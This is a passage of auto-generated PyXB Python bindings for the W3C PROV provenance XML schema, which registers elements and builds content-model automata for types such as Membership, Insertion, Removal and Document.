_BuildAutomaton_17 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Mention._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'specificEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 306, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(Mention._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generalEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 307, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(Mention._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'bundle')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 308, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Mention._Automaton = _BuildAutomaton_17() Membership._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'collection'), IDRef, scope=Membership, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 392, 6))) Membership._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), IDRef, scope=Membership, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 393, 6))) def _BuildAutomaton_18 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_18 del _BuildAutomaton_18 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Membership._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'collection')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 392, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Membership._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'entity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 393, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Membership._Automaton = _BuildAutomaton_18() KeyEntityPair._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'key'), TypedValue, scope=KeyEntityPair, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 547, 7))) KeyEntityPair._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), IDRef, scope=KeyEntityPair, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 548, 7))) def _BuildAutomaton_19 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_19 del _BuildAutomaton_19 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(KeyEntityPair._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'key')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 547, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(KeyEntityPair._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'entity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 548, 7)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) KeyEntityPair._Automaton = _BuildAutomaton_19() DictionaryMembership._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'dictionary'), IDRef, scope=DictionaryMembership, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 558, 2))) DictionaryMembership._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'keyEntityPair'), KeyEntityPair, scope=DictionaryMembership, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 559, 2))) def _BuildAutomaton_20 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_20 del _BuildAutomaton_20 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(DictionaryMembership._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'dictionary')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 558, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(DictionaryMembership._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'keyEntityPair')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 559, 2)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) DictionaryMembership._Automaton = _BuildAutomaton_20() Insertion._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Insertion, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Insertion._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Insertion, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Insertion._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'newDictionary'), IDRef, scope=Insertion, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 568, 2))) Insertion._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'oldDictionary'), IDRef, scope=Insertion, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 569, 2))) Insertion._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'keyEntityPair'), KeyEntityPair, scope=Insertion, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 570, 2))) def _BuildAutomaton_21 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_21 del _BuildAutomaton_21 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 572, 2)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 573, 2)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 574, 2)) counters.add(cc_2) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Insertion._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'newDictionary')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 568, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(Insertion._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'oldDictionary')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 569, 2)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(Insertion._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'keyEntityPair')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 570, 2)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Insertion._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 572, 2)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Insertion._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 573, 2)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 574, 2)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, True) ])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Insertion._Automaton = _BuildAutomaton_21() Removal._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Removal, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Removal._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Removal, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Removal._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'newDictionary'), IDRef, scope=Removal, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 584, 2))) Removal._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'oldDictionary'), IDRef, scope=Removal, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 585, 2))) Removal._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'key'), pyxb.binding.datatypes.anySimpleType, scope=Removal, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 586, 2))) def _BuildAutomaton_22 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_22 del _BuildAutomaton_22 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 588, 2)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 589, 2)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 590, 2)) counters.add(cc_2) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Removal._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'newDictionary')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 584, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(Removal._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'oldDictionary')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 585, 2)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(Removal._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'key')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 586, 2)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Removal._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 588, 2)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Removal._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 589, 2)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 590, 2)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, True) ])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Removal._Automaton = _BuildAutomaton_22() Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), Entity, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 475, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), Activity, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 476, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasGeneratedBy'), Generation, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 477, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'used'), Usage, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 478, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInformedBy'), Communication, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 479, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasStartedBy'), Start, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 480, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasEndedBy'), End, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 481, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInvalidatedBy'), Invalidation, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 482, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasDerivedFrom'), Derivation, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 486, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasRevisionOf'), Revision, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 487, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasQuotedFrom'), Quotation, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 488, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadPrimarySource'), PrimarySource, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 489, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'agent'), Agent, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 493, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'person'), Person, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 494, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'organization'), Organization, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 495, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'softwareAgent'), SoftwareAgent, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 496, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasAttributedTo'), Attribution, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 497, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasAssociatedWith'), Association, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 498, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'actedOnBehalfOf'), Delegation, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 499, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInfluencedBy'), Influence, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 500, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'bundle'), Bundle, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 504, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'specializationOf'), Specialization, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 505, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'alternateOf'), Alternate, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 506, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadMember'), Membership, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 510, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'collection'), Collection, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 511, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'emptyCollection'), EmptyCollection, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 512, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'plan'), Plan, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 516, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'mentionOf'), Mention, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 520, 2))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'dictionary'), Dictionary, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 532, 1))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'emptyDictionary'), EmptyDictionary, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 542, 1))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadDictionaryMember'), DictionaryMembership, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 563, 1))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'derivedByInsertionFrom'), Insertion, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 579, 1))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'derivedByRemovalFrom'), Removal, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 595, 1))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'bundleContent'), NamedBundle, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 654, 9))) Document._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'others'), Others, scope=Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 661, 3))) def _BuildAutomaton_23 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_23 del _BuildAutomaton_23 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 602, 8)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 603, 8)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 604, 8)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 605, 8)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 606, 8)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 607, 8)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 608, 8)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 609, 8)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 610, 8)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 611, 8)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 612, 8)) counters.add(cc_10) cc_11 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 613, 8)) counters.add(cc_11) cc_12 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 614, 8)) counters.add(cc_12) cc_13 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 615, 8)) counters.add(cc_13) cc_14 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 616, 8)) counters.add(cc_14) cc_15 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 617, 8)) counters.add(cc_15) cc_16 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 618, 8)) counters.add(cc_16) cc_17 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 619, 8)) counters.add(cc_17) cc_18 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 622, 8)) counters.add(cc_18) cc_19 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 623, 8)) counters.add(cc_19) cc_20 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 624, 8)) counters.add(cc_20) cc_21 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 625, 8)) counters.add(cc_21) cc_22 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 626, 8)) counters.add(cc_22) cc_23 = fac.CounterCondition(min=0, max=None, 